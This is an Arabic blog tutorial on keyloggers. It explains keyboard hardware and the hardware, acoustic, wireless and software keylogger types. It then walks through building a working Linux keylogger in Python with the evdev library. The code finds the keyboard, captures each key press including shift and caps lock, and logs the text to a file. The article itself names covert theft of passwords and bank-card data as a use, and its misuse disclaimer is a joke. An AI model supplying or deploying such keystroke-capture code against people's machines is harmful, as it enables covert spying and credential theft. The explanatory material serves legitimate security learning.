راصد لوحة المفاتيح، أحد أسلحة الأمن السيبراني الصامتة!
بسم الله الرحمن الرحيم، والصلاة والسلام على رسول الله
سنتعرف اليوم على برمجية مشهورة في عالم الأمن السيبراني cyber security، ألا وهي راصد لوحة المفاتيح، وهي برمجية مشهورة ومعروفة عند أهل ذاك المجال، وسنتطرق لطريقة بناء واحد بلغة الثعبان python اليوم.
تحتاج إلى فهم للغة python لتفهم كيف سنبرمج راصد لوحة المفاتيح، كيلا تكون مجرد ناسخ لا يفهم ما ينسخ!
عزيزي القارئ هذا المقال تعليمي ونخلي مسؤوليتنا من استعمالك له في التجسس على غيرك أو مراقبة حبيبتك القديمة أو محاولة السيطرة على العالم. احضر قهوتك أو مشروبك المفضل وأبحر معنا.
ما راصد لوحة المفاتيح؟

راصد لوحة المفاتيح keylogger: راصد يرصد كل ضغطة على لوحة المفاتيح keyboard، يسجلها ويرسلها للشخص المطلوب.
اسمه العربي أعجبك؟
من اسمه العربي (راصد لوحة المفاتيح)، تفهم وظيفته غالبًا أيها العربي، أفلا ترى حلاوة التعريب؟
يستعمل راصد لوحة المفاتيح في أشياء كثيرة، مثلًا أعمال مشروعة مثل مراقبة الموظفين أو الأبناء، وأعمال خبيثة، مثل سرقة كلمات السر والحسابات، والبطاقات المصرفية، وغيرها من المعلومات التي قد يدخلها الفرد، وكل هذا دون علمه!
بعد رصد كل ضغطة على لوحة المفاتيح وتسجيلها تُرسَلُ للمخترق أو المدير أو الأب الذي وضع راصد لوحة المفاتيح على الحاسوب أو الهاتف المستهدف.
كيف تعمل لوحة المفاتيح
كما فهمت مما سبق، راصد لوحة المفاتيح يستهدف عادة لوحة المفاتيح بذاتها، لذا يستحسن بنا معرفة كيف تعمل!
مصفوفة المفاتيح key matrix
لوحة المفاتيح تشبه كثيرا حاسوبًا مُصغرًا، لذا فإنها تمتلك معالجًا ودوائر برقية Electrical circuits خاصةً بها، والتي تحمل المُعطيات من وإلى المعالج. جزء كبير من هذه الدوائر يشكل مصفوفة المفاتيح key matrix.
ومصفوفة المفاتيح شبكة من الدوائر البرقية تحت الأزرار، وكل دائرة غير مكتملة، لذا فإن التيار لا يمر فيها، وعند الضغط على زر ما فإن الدائرة تكتمل ويمر التيار فيها.
عندما تكتمل الدائرة البرقية ويمر التيار البرقي فيها فإن المعالج في لوحة المفاتيح يكتشفها ويقارن موقع تلك الدائرة على مصفوفة المفاتيح بخريطة الأحرف التي في ذاكرة القراءة فقط ROM.

خريطة الأحرف
خريطة الأحرف character map: خريطة تمثل كل دائرة برقية في مصفوفة المفاتيح بحرف أو رمز، لذا فإنها تخبر المعالج عن موضع كل مفتاح في مصفوفة المفاتيح وما تمثله كل ضغطة.
مثلا عبرها يعرف المعالج أنك ضغطت على الحرف a، لأن موقع تلك الدائرة البرقية المكتملة يساوي الحرف a الصغير في خريطة الأحرف.
إذن فإنها تساعد المعالج على ترجمة هذه المُعطيات إلى أحرف، وبعدما ينجح المعالج بمعرفة الحرف الصحيح فإنه يرسله إلى صِوَان لوحة المفاتيح.
صِوَان لوحة المفاتيح
صِوَان لوحة المفاتيح keyboard buffer: منطقة تخزين مؤقتة تحوي على المُعطيات المستلمة من المعالج.
الغرض من صِوَان لوحة المفاتيح السماح للحاسوب بتلقي المدخلات من لوحة المفاتيح بالسرعة التي تناسبه بدلًا من معالجة كل ضغطة آنيًا. هذا أمر مهم في حالة ما كان الحاسوب مشغول بشيء ما فلا يقدر على تلقي المدخلات بسرعة.
يخزن صِوَان لوحة المفاتيح عددًا محددًا من الضغطات حسب سعته، فإن امتلأ الصِوَان لن يقبل الحاسوب أي ضغطات جديدة، وينتج عن ذلك مشكلة “تأخر لوحة المفاتيح”، إذ يتأخر الحرف قبل ظهوره على الشاشة بعد الضغط على الزر.
بعد هذه المرحلة يستقبل متحكم لوحة مفاتيح الحاسوب المُعطيات المرسلة.
متحكم لوحة مفاتيح الحاسوب
متحكم لوحة مفاتيح الحاسوب keyboard controller: شريحة صغيرة على اللوحة الأم motherboard تتحكم بلوحة المفاتيح عبر إرسال واستقبال المُعطيات.
عندما تصل المُعطيات المرسلة إلى متحكم لوحة المفاتيح فإنه يعيد إرسالها إلى نظام التشغيل. وإلى هنا فهمنا عمل لوحة المفاتيح باختصار.
إذن تستنتج أن راصد لوحة المفاتيح يعترض تلك المُعطيات المُرسلة. وأسوق لك الآن أنواعه، أنواع راصد لوحة المفاتيح.

أنواعه
ينقسم راصد لوحة المفاتيح إلى أربعة أنواع أساسية:
١. راصد لوحة مفاتيح عتادي hardware keylogger
٢. راصد لوحة مفاتيح صوتي acoustic keylogger
٣. راصد لوحة مفاتيح غير سلكي wireless keylogger
٤. راصد لوحة مفاتيح برمجي software keylogger
لكل نوع طريقته في رصد الضغطات على لوحة المفاتيح، لكنها تشترك جميعًا في أنها تلتقط المعطيات data وتسجلها وترسلها…
راصد لوحة مفاتيح عتادي
راصد لوحة المفاتيح العتادي ليس إلا جهاز وسيط بين لوحة المفاتيح والحاسوب المستهدف، أي أنه شيء ملموس ومرئي!
لدينا طريقتين لتوصيل راصد لوحة المفاتيح العتادي:
١. أن يكون وسيطًا بين لوحة المفاتيح والحاسوب مباشرة. ومن الأمثلة عليه توصيل راصد لوحة المفاتيح العتادي في منفذ PS/2 القديم وثم توصيل لوحة المفاتيح إليه.

٢. أن يكون مضمنًا في لوحة المفاتيح، داخلها. وفي هذه الحالة يعصب على المستخدم كشفه.
سنتطرق مستقبلًا لبناء واحد إن شاء اللّٰه بدلًا من شرائه بسعر غالٍ، كما فعلنا في بناء لاقط الهوية الدولية لمشترك الجوال IMSI-Catcher، في هذا المقال:
https://bassye.org/imsi-catcher
راصد لوحة مفاتيح صوتي
هذا النوع يستعمل الإشارات الصوتية لالتقاط ضغطات المفاتيح. يلتقط الأصوات الصادرة من الضغط على لوحة المفاتيح، فيحللها باستعمال خوارزميات، ويحول تلك الأصوات إلى نص.
يكفي المخترق أن يتجسس على لاقط صوت حاسوبك (المِكروفون) أو أن يكون قريبًا ليضع واحدًا، ثُمَّ يحلل الصوت الذي سجله، لكن هنا تُستعمل أجهزة خاصة لذلك تمكن المخترق سماعها من بعد مائة قدم، مثل لاقط صوت مكافئ Parabolic Microphone:

يُعدُّ -هذا النوع- شكلًا من أشكال هجوم القناة الجانبية Side-Channel Attack، وهجوم القناة الجانبية: هجوم أمني هدفه استخراج معلومات النظام بقياس وتحليل مختلف المعايير مثل المعايير الفيزيائية للتنفيذ…
عادةً تتضمن هجوم القناة الجانبية تحليل للمعلومات الظاهرة غير المقصودة أو المسربة في وقت التنفيذ (المعايير الفيزيائية للتنفيذ)، مثل استهلاك الطاقة أو الشعاع الكهرومغناطيسي أو الانبعاث الصوتي، لاستخراج معلومات مهمة، مثلما فعل راصد لوحة المفاتيح الصوتي بأصوات الضغطات على لوحة المفاتيح.
إن لم تفهم هجوم القناة الجانبية فقد أكتب عنها مقالًا مطولًا مستقبلًا..
وجب القول بأنه قد يستعمل تعليم الآلة في هذا النوع، لتعليم راصد لوحة المفاتيح تحليل الأصوات، وهذه ورقة بحثية غربية منشورة على قناتنا في التلگرام عن ذلك:
https://t.me/bassyeorg/34
راصد لوحة مفاتيح غير سلكي

هذا النوع من راصد لوحة المفاتيح يستعمل طرائق غير سلكية wireless. وقد يكون أشهرها تقنية البلوتوث لنقل المُعطيات data الملتقطة إلى مكان بعيد، في هذه الحالة قد يصل النطاق إلى مائة متر، أي ٣٢٨ قدم تقريبًا.
الهدف الرئيسي لهذا النوع اعتراض المُعطيات من لوحات المفاتيح غير السلكية التي تستعمل نوعًا معينًا من التردد غير السلكية، ٢٧ ميگاهرتز، لنقل ضغطات لوحة المفاتيح.
باعتراض هذه المُعطيات يلتقط المخترق معلومات مهمة مثل كلمات المرور. عيب هذا النوع أن المخترق يحتاج إلى جهاز استقبال/هوائي يكون قريبًا من جهاز الضحية.
راصد لوحة مفاتيح برمجي
هذا النوع ليس إلا برنامج يعترض المُعطيات التي تنتقل بين لوحة المفاتيح ونظام التشغيل، أي يكون وسيطًا بينهما. يجمع ضغطات لوحة المفاتيح ويخزنها، ثم يرسلها إلى الشخص الذي ثبته.
يُعدُّ راصد لوحة المفاتيح أحد أدوات التأصيل الخبيثة rootkit malware، وأدوات التأصيل: مجموعة برامج تستعمل لإخفاء عمليات نشطة أو في طور الإنجاز على الحاسوب.
وراصد لوحة المفاتيح البرمجي موضوع مقالنا لليوم، لأننا سنبرمج واحدًا.
يجدر الإشارة إلى راصد لوحة المفاتيح البرمجي ينقسم أيضًا إلى أربعة أقسام أو أنواع رئيسية، هي:
- User-mode Keylogger
راصد لوحة مفاتيح في مستوى المستخدم
هذا النوع يعمل كأنه تطبيق عادي، وعليه حد من النفاذ لموارد الحاسوب، أي لا ينفذ إلى بعض موارد الحاسوب.
يعترض المدخلات من لوحة المفاتيح، ويقدر على برمجته المبرمج بسهولة بأي لغة برمجة تقريبًا. يسمى هذا النوع في بعض المراجع باسم Interrogation cycle software keylogger.
- Traps Software Keylogger
راصد لوحة مفاتيح برمجي بالشِراك أو الفخاخ (لم أعثر على ترجمة مقبولة). هذا النوع يستعمل آلية الخطاف hook mechanism في نظام التشغيل، وآلية الخطاف: آلية يمكن من خلالها للتطبيق اعتراض الأحداث، مثل الرسائل وضغطات المفاتيح وحركة الفأرة.
تعمل هذه الآلية لتطبيقات واجهة المستخدم الرسومية GUI فقط، لرصد ضغطات المفاتيح نفسها والرسائل التي تُعالج في نافذة البرنامج الرسومي.
- Rootkits Keylogger
راصد لوحة مفاتيح تأصيلي
على عكس traps software keylogger فإن هذا النوع الأكثر خطرًا، ولكنه نادر نسبيًا. وهذا يرصد مجموعة من الوظائف المسؤولة عن معالجة الرسائل أو معالجة النصوص المدخلة في نظام التشغيل. مثلًا لديه طرائق تسمى في نظام التشغيل ويندوز GetMessage ومكتبة TranslateMessage ووظيفة PeekMessage 32.dll، لالتقاط الرسائل ومراقبة الرسائل التي يُحصل عليها البرنامج الرسومي.
راصد المفاتيح البرمجي من هذا النوع يلتقط الضغطات على لوحة المفاتيح بدقة عالية، ويَصعُب كشفه وإزالته لأن لديه القدرة على إخفاء وجوده على النظام.
- Kernel-mode Keylogger
راصد لوحة مفاتيح برمجي على مستوى النواة
وهذا عكس راصد لوحة المفاتيح البرمجي في مستوى المستخدم، بل أقوى منه، إذ يمتلك راصد لوحة المفاتيح من هذا النوع النفاذ المباشر لنواة نظام التشغيل، قلب النظام، فيرصد الضغطات ويسجلها قبل أن يعالجها نظام التشغيل ويرسلها للتطبيق!
هذا النوع يُعدُّ صعبًا في الاكتشاف والإزالة، إذ يعمل في مستوى منخفض من نظام التشغيل.
مستقبلًا إن وفقنا اللّٰه وأعاننا سنشرح كيفية برمجة راصد لوحة مفاتيح برمجي على مستوى النواة، فادعو لنا!
هذه هي الأنواع الأربعة، واعذرني إن لم أستفض في شرحها، فإن بعضها يتطلب فهمًا لوظائف داخلية لنظام التشغيل وأشياء لا يتسع لها المقال.
برمجة راصد لوحة المفاتيح
وها قد وصلنا إلى الجزء المهم من المقال، جزء برمجة راصد لوحة المفاتيح بلغة python، وفي هذا الجزء سنبرمج راصد لوحة مفاتيح برمجي يعمل في مستوى المستخدم.
وكما ذكرت في بداية المقال لا بد من فهم للغة python، لتفهم ما أكتبه ولتعدل عليه وتضيف ما يعجبك من خصائص.
راصد لوحة المفاتيح هذا لن يعمل إلا لأنظمة لِينُكس ولن يعمل على ويندوز، أما ويندوز فقد نفرد له مقالًا إن رأينا تفاعلًا على مقال اليوم.
بداية، نريد من راصد لوحة المفاتيح الذي نبرمجه أن:
١. رصد الضغطات على لوحة المفاتيح ويخزنها في ملف
هذه الوظيفة معروفة، فهذا عمله أصلًا.
دليل dev/input/
سنبدأ بالمهمة، أن يسجل كل ضغطة في ملف بعد رصدها، لكن كيف سنفعل ذلك؟
نحن في لِينُكس، أليس كل شيء ملف (Everything is a file)!
لوحة المفاتيح ليست إلا ملف في لِينُكس، الفأرة ليست إلا ملف، لكن أين هو ذاك الملف؟
كل جهاز في لِينُكس يكون في الدليل dev/، إذن فإن لوحة المفاتيح ستكون هناك. إن عرضت محتويات الدليل dev/:
ls /dev
سترى دليلًا باسم input، وداخله لوحة المفاتيح!
تسمى لوحة المفاتيح داخل هذا الدليل بالاسم eventX، وحرف X هنا يكون رقمًا.
نقدر على استعمال الأمر evtest لقراءة ذاك الملف، ملف لوحة المفاتيح:
sudo evtest /dev/input/eventX
باستعمال الأمر evtest وحلقة تكرار في لغة باش:
#!/bin/bash
# Replace '/dev/input/eventX' with the path to your keyboard device file
sudo evtest /dev/input/eventX | while read line; do
echo "$line"
done
إن شغلت هذا الرِمَاز ستراه يعرض لك كل ضغطة تضغطها على لوحة المفاتيح. الأمر evtest لقراءة أجهزة الإدخال في الدليل dev/input/.
انتظر انتظر يا مبعسس، أين لغة python، كيف سنفعل ذلك بلغة بايثون!
بما أنك فهمت آلية عمله فإن الأمر يسير، سنستعمل مكتبة evdev في لغة الثعبان!
مكتبة evdev
من اسمها، هي اختصار لكلمتي event device، أي جهاز حدث، مثل لوحة المفاتيح الممثلة بالملف الذي اسمه eventX (مع الإشارة إن حرف X رقم متغير).
مكتبة evdev تمكننا من قراءة الأحداث من أجهزة الإدخال، مثل لوحة المفاتيح والفأرة وحتى عصا تحكم الألعاب joystick، لأننا نعرف أن لوحة المفاتيح والفأرة أجهزة إدخال input devices، أم أنك تريد سلسلة عن الحاسوب؟
كل ضغطة وكل حركة للفأرة يسمى حدثًا، احفظ هذا!
تمكننا هذه المكتبة من التعامل مع ملف لوحة المفاتيح أو الفأرة، الملف الذي في الدليل dev/input/ في لِينُكس!
نحتاج إلى تثبيت المكتبة evdev. ثبتها بمدير حزم بايثون pip:
pip3 install evdev
في لغة C مكتبة مشابهة اسمها libevdev، لمن يريد كتابة راصد لوحة المفاتيح بلغة C.
عرض أجهزة الإدخال
عرفنا أن مكتبة evdev تقرأ الأحداث events الصادرة من جهاز الإدخال في الدليل dev/input/، لكن كيف نعرف أي ملف هو ملف لوحة المفاتيح بما أن الرقم X في eventX متغير غير ثابت؟ بل كيف نعرض أجهزة الإدخال بلغة بايثون؟
الأمر يسير، مكتبة evdev تقدم لنا وظيفة اسمها list_devices، وظيفتها عرض أجهزة الإدخال في نظام لِينُكس.
لنختبر الوظيفة list_devices افتح مُفسِّر بايثون التفاعلي python interpreter بكتابة python3 في سطر الأوامر.
نستدعي المكتبة ونشغل الوظيفة:
import evdev
evdev.list_devices()

وكما ترى، لقد عرض كل أجهزة الإدخال في الحاسوب. لكن السؤال الآن، أيهم لوحة المفاتيح؟
لنجيب على السؤال علينا تعلم شيء جديد في المكتبة، الصِنف InputDevice، لأن الوظيفة الحالية لا تعرض سوى مسار أجهزة الإدخال وتخزنها في قائمة ليسهل الوصول إلى كل عنصر فيها.
ملاحظة: قد لا يظهر لك أي جهاز إن شغلت وظيفة list_devices، وذلك بسبب أن المستخدم الحالي ليس ضمن المجموعة input في نظام لِينُكس. هذا الخطأ نادر، ولن يظهر غالبًا، لكن يستحسن بنا ذكره.
الصنف InputDevice
تقدم لنا مكتبة اليوم الصِنف class المسمى InputDevice، أي جهاز الإدخال.
لا تقلق، لست بحاجة إلى مفاهيم البرمجة كائنية التوجه OOP، المهم أن تُحسِن التعامل مع المكاتب في لغة بايثون، أما الأشياء التي سأذكرها فهي سهلة ستفهمها سريعًا لو بحثت عنها.
يمكننا الصنف InputDevice من قراءة الأحداث في جهاز الإدخال، سواء كان ذاك الجهاز لوحة المفاتيح أو الفأرة وغيرهما…
نُنشِئ نسخة منه، كائنًا object، بهذه الطريقة:
dev = evdev.InputDevice(the_path_of_an_input_device)
وكما ترى فإن هذا الصنف يستقبل مسار جهاز الإدخال عند تهيئته.
انتظر انتظر يا مبعسس، لقد عرفنا كيف نعرض أجهزة الإدخال بالوظيفة list_devices لكننا لم نعرف أي جهاز هو لوحة المفاتيح، فكيف نُهيَّئ الصنف InputDevice إذ كنا لا نعرف لوحة المفاتيح!
انتظر سأريك ذلك.
تحديد ملف لوحة المفاتيح
الصنف InputDevice لديه خواص attributes وتوابع methods (ستعرف معناهما إن درست البرمجة كائنية التوجه).
الخواص مثل:
المسار path: يرجع لنا مسار جهاز الإدخال.
المسار الفيزيائي phys: يرجع لنا المسار الفيزيائي لجهاز الإدخال.
الاسم name: يرجع لنا اسم جهاز الإدخال.
سأريك الآن كيف نعرف لوحة المفاتيح بالمعلومات السابقة فقط!
سننشِئ حلقة تكرار تمر على كل جهاز ترجعه الوظيفة list_devices ونمرره للصنف InputDevice ليطبع لنا اسمه ومساره.
الرِمَاز:
import evdev
from evdev import InputDevice
for device in evdev.list_devices():
print(f"The Path: {InputDevice(device).path}, The Name: {InputDevice(device).name)}")
ويمكن كتابته بهذه الطريقة أيضًا (لائحة بحلقة تكرار):
import evdev
devices = [evdev.InputDevice(path) for path in evdev.list_devices()]
for device in devices:
print(f"The Path: {device.path}, The Name: {device.name})
سيظهر الآن كل جهاز إدخال مع اسمه، فإن كان جهاز الإدخال يحتوي على كلمة لوحة مفاتيح “keyboard” فإنه الجهاز المطلوب!
سنكتب وظيفة function تكتشف لنا جهاز الإدخال وترجعه:
import evdev
from evdev import InputDevice
def keyboard():
devices = [InputDevice(path) for path in evdev.list_devices()]
for device in devices:
if "keyboard" in device.name or "Keyboard" in device.name:
return device.path
هذه أول جزء كتبناه لتنفيذ المهمة الأولى من مهام راصد لوحة المفاتيح، مهمة رصد الضغطات.
توابع الصنف InputDevice
تعلمنا القليل عن الصنف InputDevice، وعرفنا بعض خصائصه، لكنا لم نذكر توابعه!
يحوي هذا الصنف بعض التوابع، وما يهمنا منه:
التابع ()read_one: يقرأ حدثًا واحدًا في كل استدعاء له.
التابع ()read_loop: حلقة قراءة أحداث، تظل تقرأ الأحداث في حلقة متكررة.
الأحداث ووحدة ecodes
وكما ذكرنا سابقًا، الحدث كل ضغطة على لوحة المفاتيح أو الفأرة أو حتى تحرك لمؤشر الفأرة. وتابعي الصنف InputDevice يُرجِعَا حدثًا event.
لكل حدث خصائص، وأهم خصائص فيه:
النوع type: يحدد نوع الحدث إن كان ضغطة على لوحة المفاتيح أو تحرك لمؤشر الفأرة أو غيره.
إن كان ضغطة على لوحة المفاتيح فإن نوعه EV_KEY، أما لو كان حركة للفأرة فإن نوعه EV_REL، إلخ…
القيمة value: لكل نوع قيمة، إن كان نوع الحدث ضغطة على لوحة المفاتيح فإن له ثلاث قيم، الأولى اثنين ٢ إن ضغطت على زر في لوحة المفاتيح، والثانية صفر ٠ إن افلتت الزر بعد الضغط عليه، والثالثة واحد ١ إن كررت الضغطة على نفس الزر.
ولكل حدث آخر غير الضغط على الزر قيم أخرى.
الرمز code: لكل حدث رمز يمثله، مثلًا إن كان الحدث ضغطة على زر في لوحة المفاتيح وكان الزر المضغوط هو حرف A، فإن رمز الحدث سيكون KEY_A، ولكل زر رمز يمثله.
افهم هذا فهمًا، لتفهم الرِّمَاز الذي سنكتبه.
رمز كل حرف يُخزن في وحدة تسمى ecodes، اختصارًا لكلمتي events codes، أي رموز الأحداث، وهي تحتوي على كل رمز لكل حرف.
الخبر السيئ أنه لا أحرف في هذه المكتبة سوى تلك الرموز!
ماذا سنفعل؟
سنخزن كل تلك الرموز في قاموس dictionary، قاموس من مفتاح وقيمة (كما درستها أنت في بايثون)، فيكون الرمز هو المفتاح key، وقيمته value هي الحرف، سنرى هذه الحل الآن!
رصد الضغطات بالصنف InputDevice
سننشِئ قاموسًا يحوي كل الرموز مع قيمها الحرفية (سأريك إياه في النهاية).
سنطبق الآن كل ما سبق. سنقرأ كل حدث يصدره التابع ()read_loop:
for event in dev.read_loop():
سنرى نوع الحدث، وكل ما يهمنا هو أن يكون ضغطة على لوحة المفاتيح، وسنرى قيمة حدث الضغطة إن كان أحد القيم الثلاث (١،٠،٢)، وكل ما يهمنا أن يكون ضغطة، أي ١:
if event.type == evdev.ecodes.EV_KEY and event.value == 1:
سنتحقق الآن من أن الرمز في القاموس الذي أنشأناه. فإن كان في القاموس فإنه سيرجع قيمة المفتاح، التي هي حرف:
if event.code in key_map:
letter = key_map[event.code]
الآن سنجل الحرف المضغوط في ملف:
with open('keystrokes.txt', 'a') as f: f.write(letter)
الرِّمَاز كاملًا مع القاموس، مع إضافة تمكننا من تسجيل إذا كان الحرف كبيرًا أو صغيرًا:
import evdev
def keyboard():
devices = [evdev.InputDevice(path) for path in evdev.list_devices()]
for device in devices:
if "keyboard" in device.name or "Keyboard" in device.name:
return device.path
# Open the input device
dev = evdev.InputDevice(keyboard())
# Define a dictionary to map key codes to letters
key_map = {
evdev.ecodes.KEY_A: 'a',
evdev.ecodes.KEY_B: 'b',
evdev.ecodes.KEY_C: 'c',
evdev.ecodes.KEY_D: 'd',
evdev.ecodes.KEY_E: 'e',
evdev.ecodes.KEY_F: 'f',
evdev.ecodes.KEY_G: 'g',
evdev.ecodes.KEY_H: 'h',
evdev.ecodes.KEY_I: 'i',
evdev.ecodes.KEY_J: 'j',
evdev.ecodes.KEY_K: 'k',
evdev.ecodes.KEY_L: 'l',
evdev.ecodes.KEY_M: 'm',
evdev.ecodes.KEY_N: 'n',
evdev.ecodes.KEY_O: 'o',
evdev.ecodes.KEY_P: 'p',
evdev.ecodes.KEY_Q: 'q',
evdev.ecodes.KEY_R: 'r',
evdev.ecodes.KEY_S: 's',
evdev.ecodes.KEY_T: 't',
evdev.ecodes.KEY_U: 'u',
evdev.ecodes.KEY_V: 'v',
evdev.ecodes.KEY_W: 'w',
evdev.ecodes.KEY_X: 'x',
evdev.ecodes.KEY_Y: 'y',
evdev.ecodes.KEY_Z: 'z',
evdev.ecodes.KEY_1: '1',
evdev.ecodes.KEY_2: '2',
evdev.ecodes.KEY_3: '3',
evdev.ecodes.KEY_4: '4',
evdev.ecodes.KEY_5: '5',
evdev.ecodes.KEY_6: '6',
evdev.ecodes.KEY_7: '7',
evdev.ecodes.KEY_8: '8',
evdev.ecodes.KEY_9: '9',
evdev.ecodes.KEY_0: '0',
evdev.ecodes.KEY_ENTER: '\n',
evdev.ecodes.KEY_SPACE: ' ',
evdev.ecodes.KEY_COMMA: ',',
evdev.ecodes.KEY_DOT: '.',
evdev.ecodes.KEY_SLASH: '/',
evdev.ecodes.KEY_SEMICOLON: ';',
evdev.ecodes.KEY_APOSTROPHE: "'",
evdev.ecodes.KEY_GRAVE: '`',
evdev.ecodes.KEY_LEFTBRACE: '[',
evdev.ecodes.KEY_RIGHTBRACE: ']',
evdev.ecodes.KEY_BACKSLASH: '\\',
evdev.ecodes.KEY_MINUS: '-',
evdev.ecodes.KEY_EQUAL: '=',
}
# Start reading events from the input device
caps_lock = False
shift = False
for event in dev.read_loop():
# Check if the event is a key press
if event.type == evdev.ecodes.EV_KEY and event.value == 1:
# Check if shift or caps lock is pressed
if event.code == evdev.ecodes.KEY_LEFTSHIFT or event.code == evdev.ecodes.KEY_RIGHTSHIFT:
shift = True
elif event.code == evdev.ecodes.KEY_CAPSLOCK:
caps_lock = not caps_lock
# Convert the key code to a letter
if event.code in key_map:
letter = key_map[event.code]
if caps_lock:
letter = letter.upper()
elif shift:
letter = letter.upper() if letter.islower() else letter.lower()
shift = False
else:
letter = ''
# Write the letter to a file
with open('keystrokes.txt', 'a') as f:
f.write(letter)
وها قد أنشأنا راصد لوحة مفاتيح عادي. كل ما يهمنا هي فكرة عمله، فإن فهمتها فهمت كل شيء، فتقدر على إضافة أي ميزة أخرى إليه.
ستجد راصد لوحة المفاتيح كاملًا في حسابي في GitHub، وهذا رابطه:
https://github.com/MrNarsus/py-evdev-keylogger
سأضيف إليه خصائص ومميزات أكثر مستقبلًا، أكتفي بهذا القدر اليوم فإن المقال قد طال!
الخاتمة
وها أنا أخط بقلمي الخطوط الأخيرة لهذا المقال الشائق، وأرجو إني قد وفِّقت في الشرح.
وفي نهاية الأمر لا يسعني سوى أن أشكرك على حسن قراءتك لهذا المقال، وأني لبشر أصيب وأخطِئ، فإن وفِّقت في طرح الموضوع فمن اللّٰه عز وجل وإن أخفقت فمن نفسي والشيطان.
أرجو منك تقييم كفاءة المعلومات من أجل تزويدي بالملاحظات والنقد البناء في خانة التعليقات أو عبر حساب الموقع، والسلام عليكم ورحمة اللّٰه تعالى وبركاته.